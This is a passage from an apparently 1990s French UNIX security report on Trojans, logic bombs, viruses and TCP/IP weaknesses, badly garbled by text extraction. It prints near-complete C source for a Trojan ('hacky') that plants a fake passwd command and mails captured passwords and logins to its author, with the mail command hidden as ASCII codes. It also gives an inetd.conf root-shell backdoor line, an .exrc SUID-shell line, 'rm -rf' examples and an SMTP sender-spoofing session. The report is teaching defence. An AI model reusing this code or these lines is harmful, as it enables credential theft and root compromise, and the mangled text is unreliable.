Il place le script dans son r pertoire home, cr e un chier nomm `-bizarre' e e e et appelle l'administateur en lui disant qu'il n'arrive pas enlever un chier a vraiment bizarre. pascal pestant contre la stupidit de cet tudiant essaie de faire un ls du e e r pertoire en question. Il n'y arrive pas car le dit r pertoire n'est pas accessible en e e lecture pour les autres utilisateurs. Apr s un grognement, pascal fait un su pour e devenir root et retape ls. Il vient ainsi de cr er dans le r pertoire de l' tudiant e e e en question un shell SUID root. Puis il enl ve le chier nomm `-bizarre' que e e l' tudiant n'arrivait pas e acer il n'avait pas d^ lire le chapitre pr c dent. e a u ee Se sentant un peu b^te, l' tudiant s'excuse et remercie pascal. Dans les deux e e minutes qui suivent, le mot de passe de root est chang ... e

5.1.3 Les bombes logiques

Les bombes logiques sont des parties de code qui dorment au c ur d'un programme jusqu' ce qu'un v nement les d clenche. a ee e

44

CHAPITRE 5. LES MENACES PROGRAMMEES

L encore, ce sont les sources de certains programmes qui sont mises en cause. a Les v nements d clencheurs peuvent ^tre de types divers et vari s. Il peut s'agir ee e e e de date, d'heure, de nombre d'utilisateurs travaillant ou de tout ce qui peut passer par la t^te des cr ateurs de ces bombes retardement. e e a Certains virus sont galement des bombes logiques. C'est le cas de Friday e 13th qui se propose de reformater joyeusement votre disque dur cette date. a Heureusement, Friday 13th ne menace pas les syst mes UNIX. C'est d j a de e ea c gagn ! e

5.1.4 Les chevaux de Troie

Les chevaux de Troie sont ainsi appel s en r f rence la mythologie grecque. e ee a Un cheval de Troie ressemble a un programme ino ensif. Pourtant, il peut receller des portions de code, dont l'ex cution non visible pour l'utilisateur peut ^tre e e particuli rement dommageable. e

Pour illustrer notre propos, nous vous proposons d' tudier un petit programme e crit en langage C qui g n re un cheval de troie. Ce programme nous a t fourni e ee ee par Xavier Ducret. Qu'il soit ici remerci de sa collaboration. e Le but est de pi ger un utilisateur curieux qui essaierait de l'ex cuter pour e e voir". D s que cela arrive, hacky envoie un courrier lectronique l'adresse qu'on e e a a indiqu e la compilation en pr cisant le nom de login et le nom en clair du e a e dindon de la farce. Mais ce n'est pas tout. Une nouvelle commande passwd le cheval est cr e ee dans un r pertoire cach . Le chier .pro le du curieux est modi de sorte que ce e e e soit cette commande qu'il appelle la prochaine fois qu'il changera de mot de passe. Voici la fausse commande passwd. Elle simule le comportement de la vraie commande passwd en cas d'erreur de saisie, puis envoie les trois mots de passe entr s par courrier lectronique au pirate. La vraie commande passwd est ensuite e e appel e pour ne pas veiller la m ance du curieux. e e e 
! bin sh  This file was made by the program hacky  Under the UNIQUE RESPONSABILITY OF Moi ??  echo "Changing password for" brn stty -echo echo -e "Enter old password: c " read P0 echo ""

5.1. CLASSEMENT DES MENACES
echo read echo echo read echo stty echo echo echo usr -e "Enter new password: c " P1 "" -e "Re-type new password: c " P2 "" echo "" $P0 $P1 $P2 | mail pirate dev null 2 &1 "You misspelled it. Password not changed" bin passwd

45

Et voici le source complet en langage C du programme. Il est vident que ce e programme n'est pas bien dangereux. Plusieurs traces demeurent du passage du pirate, dont son adresse e-mail.
******************************************************************** * hacky.c * * dummy.c * * @ hacky.c Xavier Ducret Version 0.1 27 mai 1996 * ******************************************************************** include include include include define define define define define define define define define define string.h pwd.h stdlib.h stdio.h "Bonjour " "Comment allez-vous ?" "Bienvenue a bord :" "N'executez pas ce programme" "mkdir -p $HOME .netscape .hacky" "PATH= usr local bin: bin:$HOME .netscape .hacky:$PATH n" "chmod 777 $HOME .netscape .hacky passwd" " rm -f hacky" "son createur" "pirate"

HELLO HOW WELCOME CONTINUE ACT_hacky profil ACT_mode AUTODEL LOGIN EMAIL

Dans la partie ci-dessus gurent les d nitions de constantes permettant de e personnaliser le programme. En particulier LOGIN permet d'identi er le nom de login du cr ateur du proe gramme qui ne sera pas victime de quoi que ce soit et EMAIL contient l'adresse de courrier lectronique o envoyer les pr cieuses informations. e u e
sleepcount

46
int count; int i; int j;

CHAPITRE 5. LES MENACES PROGRAMMEES

for j=1;j =10;j++ for i=1;i =count;i++

char init

=

101,99,104,111,124,109,97,105,108,32,100,117, 99,114,101,116,64,101,110,115,105,115,117,110, 46,105,109,97,103,46,102,114 ;

Remarquez la cha^ne init ci-dessus qui contient en ASCII la cha^ne : ``echo|mail

pirate". Il s'agit l d'une petite astuce pour cacher un nouvel utilisateur de a a hacky une fonction du programme. En e et, l'appel syst me qui se situe plus bas au d but de la fonction e e main provoque l'envoi d'un mail au concepteur de hacky lui indiquant l'adresse lectronique de la personne qui ex cute une version du programme qu'il s'agisse e e d'un nouveau pirate ou d'un utilisateur curieux. Malheur aux nouveaux pirates qui n'ont pas compris les sources du programme !
safe printf" nRien ne se passe. n n"; exit0;

La fonction ci-dessous v ri e si l'utilisateur qui ex cute le programme est le e e cr ateur la personne identi e par la constante LOGIN. e e Si c'est le cas, un message est a ch et le programme ne fait rien d'autre. e C'est la proc dure safe ci-dessus qui sera alors appel e. e e Si en revanche, le programme est ex cut par un inconnu, donc un curieux, tout e e le sale boulot commence. Un mail est envoy l'adresse sp ci e par la constante ea e e EMAIL.
int verifyuser,realname

5.1. CLASSEMENT DES MENACES
char * user; char * realname; char msg 255 ; if strcmpuser,LOGIN != 0 printf" n t ts s. n", WELCOME, realname; printf" n t ts s. n n n n n", CONTINUE, LOGIN; if sowhat != 1 error; sprintfmsg, "echo " Le dindon est : s s "|mail s", realname, user, EMAIL; if systemmsg != 127 return1; else error;

47

else printf" n t tss . s n n", HELLO, LOGIN, HOW; safe; return-1;

Les fonctions ci-dessous modi ent le .pro le et cr ent la fausse commande e passwd.
******************************************************************** * dans les versions ulterieures, on dissimulera un faux programme * * compile en C de changement de mots de passe beaucoup plus * * insidieux. * ******************************************************************** int actionuser, realname char * user; char * realname;

48

CHAPITRE 5. LES MENACES PROGRAMMEES

FILE * f_profile, * f_passwd ; char pwd_profile 255 ; char pwd_passwd 255 ; struct passwd * getpwnamname; struct passwd * p; p = getpwnamconst char *user; sprintfpwd_profile,"s s",p- pw_dir,".profile"; sprintfpwd_passwd,"s s",p- pw_dir,".netscape .hacky passwd"; if systemACT_hacky == 127 error; * it will works under non graphique terms like vt100 * if f_profile = fopenpwd_profile,"a" == NULL error; else fputsprofil,f_profile; fclosef_profile; if f_passwd = fopenpwd_passwd,"w" == NULL error; else new_passwd_progf_passwd,user,realname; fclosef_passwd; if systemACT_mode == 127 error; return1;

int new_passwd_progf_cible,victim,realname FILE * f_cible; char * victim;

5.1. CLASSEMENT DES MENACES
char * realname; char passwd_shell 255 ;

49

* Pour creer un faux script shell. L'ennui c'est que si le fichier * * est decouvert le nom du protagoniste est visible. Il faudra donc * * creer un fichier compile en C et beaucoup plus performant plus tard* sprintfpasswd_shell,"s n n","! bin sh"; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n", " This file was made by the program hacky"; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s s n n", " Under the UNIQUE RESPONSABILITY OF ", realname; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s s n", "echo "Changing password for "",victim; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n","stty -echo"; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n", "echo -e "Enter old password: c ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s ns n", "read P0","echo " ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n", "echo -e "Enter new password: c ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s ns n", "read P1","echo " ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n", "echo -e "Re-type new password: c ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s ns n", "read P2","echo " ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s ns n", "stty echo","echo " ""; fputspasswd_shell,f_cible;

50

CHAPITRE 5. LES MENACES PROGRAMMEES

sprintfpasswd_shell,"s s s n", "echo $P0 $P1 $P2 | mail", EMAIL ," dev null 2 &1"; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n", "echo "You misspelled it. Password not changed ""; fputspasswd_shell,f_cible; sprintfpasswd_shell,"s n"," usr bin passwd"; fputspasswd_shell,f_cible; return1;

La proc dure n endort l'utilisateur par le rasurrant message ``Segmentation e Fault".
fin printf" nSegmentation Fault. n n"; exit0;

int sowhat int reponse, trappe; printf"Enter Q to QUIT, c to continue : "; reponse = getcstdin; trappe = getcstdin; switch reponse case 'c' : printf" nYou are free to ABORT NOW with ^C "; printf"before I load all ressources. n"; sleep2500000; return1; break; case 'Q' : safe; break; default :

5.1. CLASSEMENT DES MENACES
printf" n"; sowhat; break;

51

int intro printf" ** return1; hacky ** n";

error printf" n n*** *** Sorry, an error occured ... n"; printf"*** Please contact me ... n n"; systemAUTODEL; exit0;

hacky char * user; char * realname; user = char * getlogin; realname = getpwnamuser- pw_gecos; if intro != 1 error;

if verifyuser,realname != 1 error;

if actionuser,realname != 1 error;

52
else fin;

CHAPITRE 5. LES MENACES PROGRAMMEES

Voici la fonction main du programme. Remarquez a la premi re ligne l'appel systeminit. e
main systeminit; if system"reset" != 127 hacky; return1; else exit0;

******************************************************************* * hacky ends here. * *******************************************************************

La moralit de cet exemple est qu'il faut apprendre devenir m ant. La e a e curiosit peut ^tre un tr s vilain d faut. L'utilisateur du programme ci-dessus e e e e l'apprendra ces d pends. Evidemment, il peut se passer tr s longtemps avant a e e qu'il ne s'en rende compte de quoi que ce soit ! Les chevaux de Troie peuvent ^tre galement contenus dans n'importe e e quel script d'installation de programme. Imaginez que l'un deux contienne la commande ``rm -rf $HOME *" ... Soyez donc s^r autant que possible de ce que vous ex cutez ! u e

5.1.5 Les virus

Les virus sont des bouts de code qui se propagent en infectant des programmes de proche en proche. De temps en temps, certains peuvent reformater votre disque dur. Bref, ce ne sont pas des petites b^tes tr s aimables. Nous vous recommandons e e

5.1. CLASSEMENT DES MENACES

53

d'ailleurs la lecture du rapport de Daniel Manso traitant du sujet. Ce rapport devrait ^tre disponible aupr s de Serge Rouveyrol l'ENSIMAG cf. 9 et 4 . e e a La plupart des virus sont r pandus dans le monde des ordinateurs de type e Apple ou Compatible PC. Ces ordinateurs fonctionnant sous des syst mes e d'exploitation non prot g s, il est facile aux virus de s'y multiplier et de s'y ee propager. Les virus pouvant poser probl me UNIX sont ceux de type boot sur les e a syst mes base de Compatible PC. En e et il su t de booter" sur une disquette e a infect e pour risquer d'endommager le disque dur. e 7 voque galement quelques exp riences marginales avec des virus sous e e e UNIX. On peut cependant conclure que ce type de menace n'est pas tr s e pr occupant pour nous l'heure actuelle. e a En revanche, l'av nement du World Wide Web, des applications assistantes e automatiquement lanc es lorsque le type MIME qui correspond est reconnu, e peut poser des probl mes. Le langage Postscript peut par exemple contenir des e commandes susceptibles d'^tre ex cut es par le syst me. e e e e Les applications crites en Java pourraient l'avenir se r v ler une source de e a ee dangers. Il semblerait qu'au moins un trou de s curit , certes di cile utiliser, e e a ait t d couvert dans ce langage. ee e Certains outils de bureautique qui ont t port s sous UNIX, sont aussi conceree e n s : certains virus prenant appui sur les macros de Microsoft Word passeront e peut-^tre ainsi dans le monde UNIX. e

5.1.6 Les vers
Les vers sont des programmes ind pendants qui voyagent de machine en e machine sur le r seau. Comme les virus, ils peuvent se multiplier laissant un e exemplaire d'eux m^me sur chaque machine qu'ils ont p n tr e. e ee e On pense videmment en parlant de ver, au fameux ver d'Internet cf. 5 . e Mais 7 rapporte qu'une douzaine de vers ont t observ s jusqu' maintenant. ee e a Deux d'entre eux au moins fonctionnaient sous UNIX. Se prot ger d'un ver revient se prot ger d'une intrusion. Les vers utilisent e a e pour se r pandre les m^mes techniques que les pirates pour rentrer sur un syst me. e e e

54

CHAPITRE 5. LES MENACES PROGRAMMEES

5.1.7 Les bact ries et autres lapins e
Le syst me s' croule alors : c'est le plantage. e e

Les bact ries et autres lapins sont des programmes dont la vocation est de se e multiplier dans le but de consommer toutes les ressources d'un syst me. e Les sources historiques de ce type de programmes sont plut^t exp rimentales o e qu'autre chose. Les premiers programmeurs de syst mes multi-processus les e utilisaient par curiosit , pour voir comment le syst me r agissait. e e e Une fois encore, ce sont les sources de vos programmes qu'il faut surveiller de pr^t. e

5.2 Se prot ger e
Les exemples que nous avons voqu s plus haut vous ont, nous l'esp rons, e e e convaincu de l'utilit de vous prot ger de ces menaces dites programm es. e e e Ce n'est pas toujours facile car cela demande beaucoup de temps. N anmoins, e r installer un syst me entier n'est pas une des t^ches les plus courtes et simples e e a non plus ! D'abord, vitez de ramener le binaire d'un programme, surtout partir d'un e a site FTP sur lequel vous avez des doutes. Si vous le pouvez, procurez-vous ses sources. Il est vident que beaucoup d'organismes ne distribuent pas les sources e de leurs produits. On n'a donc pas toujours le choix. Ensuite, v ri ez syst matiquement ces sources avant d'installer quoi que ce e e soit. En pratique, il s'agit souvent l d'un v u pieux. Allez donc v ri er les a e sources du dernier sendmail ! Vous pouvez alors utiliser les utilitaires qui permettent de garantir que ces sources n'ont pas t modi es depuis que les auteurs les ont mises en circulation. ee e De plus en plus de personnes ont recours ce type de techniques pour d courager a e les pirates. Les m^mes utilitaires garantissent galement l'int grit des chiers e e e e binaires. En revanche, il est plus facile de v ri er les scripts d'installation ou Make le. e C'est une bonne habitude a prendre car elle permet de ne pas se faire pi ger par e des lignes insideuses du genre ``rm -rf $HOME". Nous rappelons que ce genre de

5.2.1 Pr cautions l mentaires e ee

5.2. SE PROTEGER
lignes ont d j t gliss es a l'int rieur de plus d'un script. eaee e e
-rf $HOME"

55

Par ailleurs, n'installez jamais un programme en tant que root ! La ligne ``rm est gentille en comparaison de celle-ci : rm -rf ".

Essayez les programmes, si possible, sur une machine de test isol e des autres, e pour d terminer si leur comportement semble normal sur une p riode de temps e e raisonnable. Il est aussi possible d'utiliser l'appel syst me chroot. Vous pouvez alors e commencer par installer les programmes dans une arborescence restreinte ou m^me une ligne comme celles qui gurent ci-dessus ne seront pas dangereuses. e M^me si le UID 0 est requis par chroot, il est toujours possible de redevenir un e utilisateur normal avant d'ex cuter les scripts d'installation. e Bref, soyez conscients des menaces et r agissez en cons quence. e e

5.2.2 Prot ger son syst me e e

La grande menace sous UNIX est essentiellement constitu e par les chevaux e de Troie et les portes d rob es. e e

C'est sans doute parce qu'il est di cile d' crire des virus ou des vers. C'est e galement parce qu' l'origine des menaces programm es se trouvent le plus e a e souvent les utilisateurs d'un syst me. Ces derniers produisent en e et la majoe rit de ces pi ges. Leur but peut ^tre de simplement s'amuser ou de vraiment nuire. e e e Pour d fendre votre syst me, il vous su t d'utiliser les m canismes qu'UNIX e e e met a votre disposition. Mettez des permissions appropri es sur vos r pertoires et chiers. e e Prot gez vos ex cutables en n'autorisant pas leur modi cation. Pr venez e e e galement toute modi cation des r pertoires o se trouvent ces chiers. e e u N'ex cutez aucun programme avec plus de privil ges que strictement n cese e e saire. Prot gez votre base de donn es d'alias de courrier lectronique. Il est tr s e e e e imprudent d'autoriser les utilisateurs modi er cette base eux m^mes. Ils a e pourraient alors cr er un alias qui d clencherait l'ex cution d'un programme e e e comme :
secret: | usr local bin .mon_piege_telecommande"

56

CHAPITRE 5. LES MENACES PROGRAMMEES
V ri ez les syst mes d'ex cution automatique de programmes comme at ou e e e cron. M^me si leur con guration ne semble pas avoir chang , v ri er que les e e e programmes ex cut s sont galement toujours ceux que vous avez install s. e e e e V ri ez le contenu de votre chier inetd.conf. une ligne comme celle qui suit e permet a un pirate d'obtenir un shell avec un UID 0 quand il le souhaite.
daytime stream tcp nowait root bin ksh ksh -i

V ri ez vos chiers d'initialisation du syst me. e e Utilisez des outils comme tripwire cf. A pour v ri er r guli rement l'int e e e e grit de votre syst me et de l'ensemble de vos chiers. e e Traquez les chiers SUID ou SGID qui se trouvent sur votre syst me. La e commande nd peut vous y aider.
find  -perm -004000 -o -perm -002000  -type f -print

Consultez les journaux cr s automatiquement par certains programmes. Le ee service syslog constitue un atout consid rable pour la lutte contre les pirates e sous UNIX. Utilisez le ! Ne donnez pas acc s en lecture tous les utilisateurs vos CDROM, ou e a a unit s de sauvegarde. Un chier tar est facile a voler et a r installer sur un e e autre ordinateur.

5.2.3 Prot ger son compte e

Prot ger l'ensemble du syst me, c'est galement apprendre chaque utilisateur e e e a ce qu'il peut faire pour prot ger son propre compte. e Faites attention votre variable PATH. Evitez autant que possible d'y ina clure le r pertoire courant et si vous le faites, placez le en dernier. e Faites attention l'ensemble de vos variables d'environnement, y compris a celles qui sp ci ent les s parateurs ... e e Mettez des permissions `rw-------' sur tous vos chiers de con guration .login, .pro le, ..... V ri ez ces chiers. En particulier, n'oubliez pas .rhosts, .forward, .exrc, e .emacs ... En r sum , tous les chiers susceptibles de contenir des commandes e e automatiquement ex cut es quand vous ouvrez une session de travail, recee e vez du courrier ou lancez un programme. M ditez l'exemple ci dessous ... e
Fichier .exrc creant un shell SUID !cp bin sh tmp .secret;chmod 4755 tmp .secret&

5.2. SE PROTEGER

57

Ne donnez acc s personne en criture vos r pertoires, ou alors faites e a e a e preuve de parcimonie et de prudence. En n, ne quittez pas votre terminal en laissant une session de travail ouverte. Vous pensez que nous exag rons? Et bien venez faire l'exp rience chez nous : e e c a ne pardonne pas ! Comme vous le voyez, il y a mille et une faons de vous jouer des tours penc dables. Et encore, elles sont loins d'^tre toutes voqu es ici ! e e e

58

CHAPITRE 5. LES MENACES PROGRAMMEES

59

Chapitre 6
TCP IP
6.1 Les faiblesses de TCP
6.1.1 Introduction
IP

Internet est une des raisons pour laquelle ma^triser les aspects de la s curit
e e sous UNIX devient capital. Par le biais de ce r seau, ce sont en e et des millions e de personnes qui sont susceptibles d'acc der votre ordinateur. e a Internet trouve ses origines dans ARPANET d velopp aux d buts des ann es e e e e 1970 sous l'impulsion de la fameuse Advanced Research Projects Agency du non moins c l bre Department of Defense. ee Aujourd'hui cet enchev^trement de r seaux plus ou moins grands repose sur e e le protocole IP Internet Protocol. Pour une pr sentation de ce protocole, nous e vous invitons a lire le chapitre 16 de 7 qui expose de mani re claire ses principes e de fonctionnement. IP n'est pas le seul protocole utilis pour Internet. Nous encourageons les e passionn s a lire un bon livre sur les r seaux pour tancher leur curiosit cf. 12 . e e e e Malheureusement, la vitesse laquelle Internet s' tend nous montre chaque a e jour un peu mieux que IPv4 1 se fait vieux. Il n'est plus adapt aux exigences e actuelles et venir, et ce, pour plusieurs raisons. a Ce protocole a t conu pour ^tre utilis dans un environnement hostile, ee c e e au sens technique du terme. Si vous coupez une liaison entre deux sites Internet, vous avez toujours la possibilit d'utiliser une autre route pour e

1 Pour notre plus grand bonheur, son digne successeur, IPv6, est en train de voir le jour.
:

60
communiquer.

CHAPITRE 6. TCP IP

H las, il s'av re que notre environnement est hostile bien d'autres points e e a de vue. IP a t fait pour se charger du transport de donn es. En aucun cas il ee e ne devait assurer un quelconque degr de s curit . D'autres protocoles e e e compl mentaires taient suppos s s'en charger si le besoin s'en faisait sentir. e e e Le besoin est l , mais les outils capables de nous prot ger de toutes les a e attaques ne sont pas tr s r pandus. e e IP est en quelques sortes victime de son succ s. Comme le remarque 7 , il e est en tout cas employ l'heure actuelle pour des utilisations qui n'avaient ea absolument pas t pr vues initialement ... ee e Dans les ann es 1980, les attaques port es sur Internet exploitaient des bogues e e ou des portes d rob es que comportaient certains programmes mondialement r e e e pandus. Ces derni res ann es, les attaques ont volu s. Elles deviennent plus ine e e e qui tantes en ce sens qu'elles exploitent la structure m^me d'Internet et les faie e blesses d'IP. On peut les classer dans l'une des cat gories suivantes. e Il existe, comme nous l'avons d ja voqu au chapitre 2, un rique important e e e d' coute sur le r seau. Des ordinateurs reni eurs peuvent en e et tout a fait e e recopier a la vol e toutes les donn es qui passent a leur port e. e e e Des impostures sont aussi fr quentes. Le pirate fait alors passer sa machine e pour une autre en utilisant une fausse adresse IP. Des connections sont d tourn es. Le preneur d'otages peut alors d cider de e e e prendre le contr^le d'une session de rlogin apr s que l'utilisateur autoris o e e l'ait tablie. e Des modi cations de donn es au vol sont galement possibles. Les m^mes e e e ordinateurs reni eurs d cident alors de changer une valeur par ci, par l ce e a qui est techniquement beaucoup plus di cile.

6.1.2 Probl mes potentiels e
Nous voquons ici les m canismes incrimin s dans les attaques voqu es au e e e e e paragraphe pr c dent. ee

6.1. LES FAIBLESSES DE TCP IP

61

Les reni eurs

Comme nous l'avons voqu pr cedemment, les ordinateurs reni eurs sont un e e e probl me dont le seul moyen de se d barasser est d'utiliser des algorithmes de e e codage. On peut envisager d'implanter ces algorithmes divers niveaux. a Au niveau du mat riel lui-m^me, on peut imaginer d'acheter des cartes r e e e seaux capables de coder et d coder en temps r el les informations qui trane e sitent par elles. Tous les interm diaires sont alors suppos s disposer du m^me e e e mat riel. e Le codage peut galement ^tre e ectu seulement par l' metteur et le d coe e e e e dage seulement par le r cepteur. e En n, on peut concevoir au niveau applicatif des programmes capables de coder un courrier avant de l'envoyer par exemple.

Les probl mes d'authenti cation e

Pour authenti er un correspondant, une m thode consiste v ri er l'adresse e a e IP qui correspond son nom. On a recours pour cela aux DNS. a Le m canisme de serveurs de noms n'a pas t conu lui non plus pour ^tre e ee c e s^r. Ainsi, il n'y a aucun moyen de v ri er que l'information que vous donne un u e serveur de noms est exacte. La seule chose que vous pouvez tenter pour v ri er dans une certaine mesure e l'information que vous obtenez, est de vous adresser un second serveur. L a a encore, ce n'est pas parfait. Des pirates ont r ussi de cette mani re tromper e e a bien des victimes cf. 7 . Il n'y a donc dans ce cas pas de parade parfaite. Certains conseillent donc, tout simplement, de ne pas utiliser les serveurs de nom pour authenti er vos correspondants. Mais quoi d'autre avoir recours? a Pour illustrer le genre de probl mes que peut poser l'absence d'authenti cation, e nous vous proposons d' tudier comment envoyer un courrier lectonique fant^me" e e o en utilisant le programme telnet.
From inconnu@le.bout.du.monde Fri Jun 21 14:22:47 1996 Return-Path: inconnu@le.bout.du.monde Received: from localhost by hercule.brunox.fr ...... Date: Fri, 21 Jun 1996 14:20:50 +0100

62

CHAPITRE 6. TCP IP

From: inconnu@le.bout.du.monde Message-Id: 199606211320.OAA01258@hercule.brunox.fr X-Authentication-Warning: hercule.brunox.fr: Host brn@localhost 127.0.0.1 didn't use HELO protocol Subject: Mefiance !!! Status: R Des imposteurs semblent utiliser le mail en se faisant passer pour des inconnus. A+

Pour crire ce mail, nous avons dialogu directement avec le programme sendmail. e e Evidemment pour que ce programme nous comprenne, nous lui avons parl dans e son langage qui s'appelle ESMTP.
$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^ '. 220 hercule.brunox.fr ESMTP Bonjour Sendmail 8.7.5 8.6.9 ready at Fri, 21 Jun 1996 15:40:55 +0100 MAIL FROM : inconnu@le.bout.du.monde 250 inconnu@le.bout.du.monde... Sender ok RCPT TO : root@hercule 250 Recipient ok DATA 354 Enter mail, end with "." on a line by itself Subject: Mefiance !!! donnees . 250 OAA01258 Message accepted for delivery QUIT

6.2. LES SERVICES TCP IP

63

6.2 Les services TCP
6.2.1

IP

Lorsque vous connectez votre ordinateur Internet, vous donnez le moyen d'y a acc der de nombreuses faons di rentes. On peut vous y adresser un courrier e c e lectronique, ouvrir une session FTP ou envoyer une requ^te DNS votre serveur e e a de noms. Le chier etc services contient une description des services que votre ordinateur met la disposition des autres machines du r seau. a e Pour chacun d'eux sont pr cis s un nom, un num ro de port, un protocole e e e tcp ou udp et un alias ventuel. La table des services est standard. Cela permet e de s'y retrouver facilement tout en passant d'un ordinateur l'autre. a Ci-dessous se trouve un extrait d'un chier etc services provenant d'un PC fonctionnant sous Linux. vous y trouvez l'explication de la commande "telnet localhost 25" que nous avons utilis e au paragraphe pr c dent pour acc der au e ee e service de courrier lectronique. e 
 Network services, Internet style extrait  tcpmux 1 tcp  TCP port service multiplexer echo 7 tcp echo 7 udp systat 11 tcp users daytime 13 tcp daytime 13 udp netstat 15 tcp qotd 17 tcp quote msp 18 tcp  message send protocol msp 18 udp  message send protocol chargen 19 tcp ttytst source chargen 19 udp ttytst source ftp 21 tcp  22 - unassigned telnet 23 tcp  24 - private smtp 25 tcp mail

etc services

C'est ici l'occasion d' voquer le m canisme de trusted port dont nous avons e e soulign le danger plus t^t dans ce m moire. Sous UNIX, les num ros de ports e o e e

64
allant de 0 a 1023 sont appel s des trusted ports. e

CHAPITRE 6. TCP IP

Pour pouvoir se mettre en attente ou initier une connection partir d'un a d'entre eux, il faut qu'un programme ait un UID e ectif de 0 c'est dire qu'il a soit ex cut par le super-utilisateur, ou qu'il soit SUID. Cela permet de garantir e e qu'un programme crit par un utilisateur ne viendra pas prendre la place d'un e vrai serveur comme telnet par exemple. Cette r gle n'est gu re plus qu'une convention. On la consid re souvent comme e e e un acquis. Or, rien n'oblige les constructeurs et les vendeurs d'autres syst mes e a la suivre. Etant susceptibles de rencontrer tous les types de syst mes sur Internet, e on voit l quels peuvent ^tre les dangers de ce principe. a e Lorsqu'une demande de connexion un service arrive votre ordinateur, a a UNIX essaie de d terminer quel serveur il doit l'envoyer. Les courriers lectroe a e niques sont ainsi dirig s vers sendmail. e Au fur et mesure des ann es, le nombre de services Internet n'a cess de a e e cro^tre. Dans le soucis d' conomiser les ressources du syst me, le programme inetd
e e a t cr . e e ee Ce processus est charg de traiter un certain nombre de demandes. Il lance ainsi e suivant les cas, tel ou tel programme pour fournir le service demand . On ne e garde ainsi que ce processus en m moire de mani re permanente, au lieu d'un e e programme par service. Le chier etc inetd.conf sert con gurer le programme inetd. Vous pouvez a en particulier autoriser ou interdire un service, pr ciser le programme qui traitera e tel type de demande, sous quel UID tournera ce programme et quel protocole sera utilis . e Voici a quoi peut ressembler le chier etc inetd.conf. 
 See "man 8 inetd" for more information.   name type proto flags user server_path args   Echo, discard, daytime, and chargen are used primarily for testing. echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal

6.2.2

etc inetd.conf ou de l'utilit des wrappers e

6.2. LES SERVICES TCP IP
daytime daytime chargen chargen time time ftp telnet nntp shell login talk ntalk finger stream dgram stream dgram stream dgram stream stream stream stream stream dgram dgram stream tcp udp tcp udp tcp udp tcp tcp tcp tcp tcp udp udp tcp nowait wait nowait wait nowait wait nowait nowait nowait nowait nowait wait wait nowait root root root root root root root root root root root root root daemon internal internal internal internal internal internal usr sbin usr sbin usr sbin usr sbin usr sbin usr sbin usr sbin usr sbin

65

tcpd tcpd tcpd tcpd tcpd tcpd tcpd tcpd

usr usr usr usr usr usr usr usr

sbin sbin sbin sbin sbin sbin sbin sbin

wu.ftpd in.telnetd in.nntpd in.rshd in.rlogind in.ntalkd in.ntalkd in.fingerd

Remarquez que certains services sont directement trait s par inetd ; ils sont e alors rep r s par le mot cl `internal'. D'autres sont en revanche d l gu s ee e ee e a d'autres programmes comme ` usr sbin in.fingerd'. L'histoire d j longue d'UNIX fait qu'inetd n'a pas t conu de mani re ea ee c e a faire un usage intensif des m canismes d'enregistrement de journal syst me. e e Or, ces journaux cr s automatiquement par les programmes au l de leur ee ex cution, sont un atout consid rable pour la d tection des tentatives de piratage. e e e Nous vous encourageons compl ter inetd par un programme sp cial appel un a e e e wrapper. Les wrappers permettent tout d'abord d'enregistrer une entr e dans les e journaux du syst me d s qu'une connexion entrante est trait e. Ensuite, ils e e e peuvent vous permettre de con gurer plus nement les services que vous d sirez e o rir aux autres ordinateurs. Vous pouvez ainsi d cider d'o rir le service nger certaines adresses IP e a seulement et pas aux autres. Un de ces programmes s'appelle tcpwrapper 2 . Comme vous pouvez le constater en lisant etc inetd.conf, il est install en standard dans la distribution e Slackware de Linux et ltre tous les services qui ne sont pas trait s en interne e par inetd. Les rewalls peuvent s'av rer compl mentaires des wrappers. Les wrappers ne e e permettent en e et que de ltrer ce qui se passe que sur une machine tandis que les rewalls sont susceptibles de prot ger un r seau entier. Nous aurions voulu vous e e
2 Cf. A.
:

66

CHAPITRE 6. TCP IP

pr senter dans ce m moire leur utilisation Malheureusement, faute de temps, nous e e ne sommes pas a m^me de le faire. Nous vous recommandons cependant a ce sujet e 2.

6.3 Quelques services
Les services o erts par votre ordinateur ne sont pas forc ment tous utilis s. e e UUCP est un bon exemple de service qui reste souvent propos par d faut alors e e qu'il ne sert plus a rien. Il est bon de faire l'inventaire des services dont vous avez r ellement besoin. e Cela n'est pas toujours facile dans le cadre de grandes installations : il se peut que seuls quelques utilisateurs utilisent certains d'entre eux. Prenez tout de m^me e l'habitude de d sactiver les services qui vous semblent inutiles. Vous supprimerez e ainsi autant de portes d'entr e dans votre syst me. e e Nous vous proposons d' voquer dans la suite de ce chapitre un certain nombre e de services standards. Pour chacun d'entre eux, nous pr ciserons les mesures qu'il e convient de prendre en mati re de s curit . Ici encore, nous nous sommes tr s e e e e largement appuy s sur 7 . e En A, gure une pr sentation des outils capables de d tecter les erreurs manie e festes de con guration des services r seaux. e Ce service permet d'obtenir des informations sur le syst me. Il provoque sur e la plupart des syst mes l'ex cution de la commande who. Cela peut ^tre tr s utile e e e e dans la vie de tous les jours pour savoir si un coll gue travaille un moment e a donn sur une machine particuli re. e e
bash$ telnet localhost systat Trying 127.0.0.1... Connected to localhost. Escape character is '^ '. brn tty1 Jun 22 10:14 brn tty2 Jun 22 10:15 root tty3 Jun 22 10:15 brn tty5 Jun 22 10:15 brn tty6 Jun 22 10:15 brn ttyp0 Jun 22 13:44 :0.0 Connection closed by foreign host.

6.3.1 systat

6.3. QUELQUES SERVICES

67

Cependant, cela permet aux pirates d'apprendre des noms d'utilisateur, dont ils pourront essayer de se servir pour p n trer le syst me en devinant leur mot de ee e passe par exemple. Pesez le pour ou le contre ... Pour supprimer ce service, il su t de commenter la ligne correspondante du chier etc inetd.conf.

6.3.2 FTP

Le File Transfer Protocol vous permet d'e ectuer des transferts de chiers entre deux machines distantes, reli es par le r seau. e e

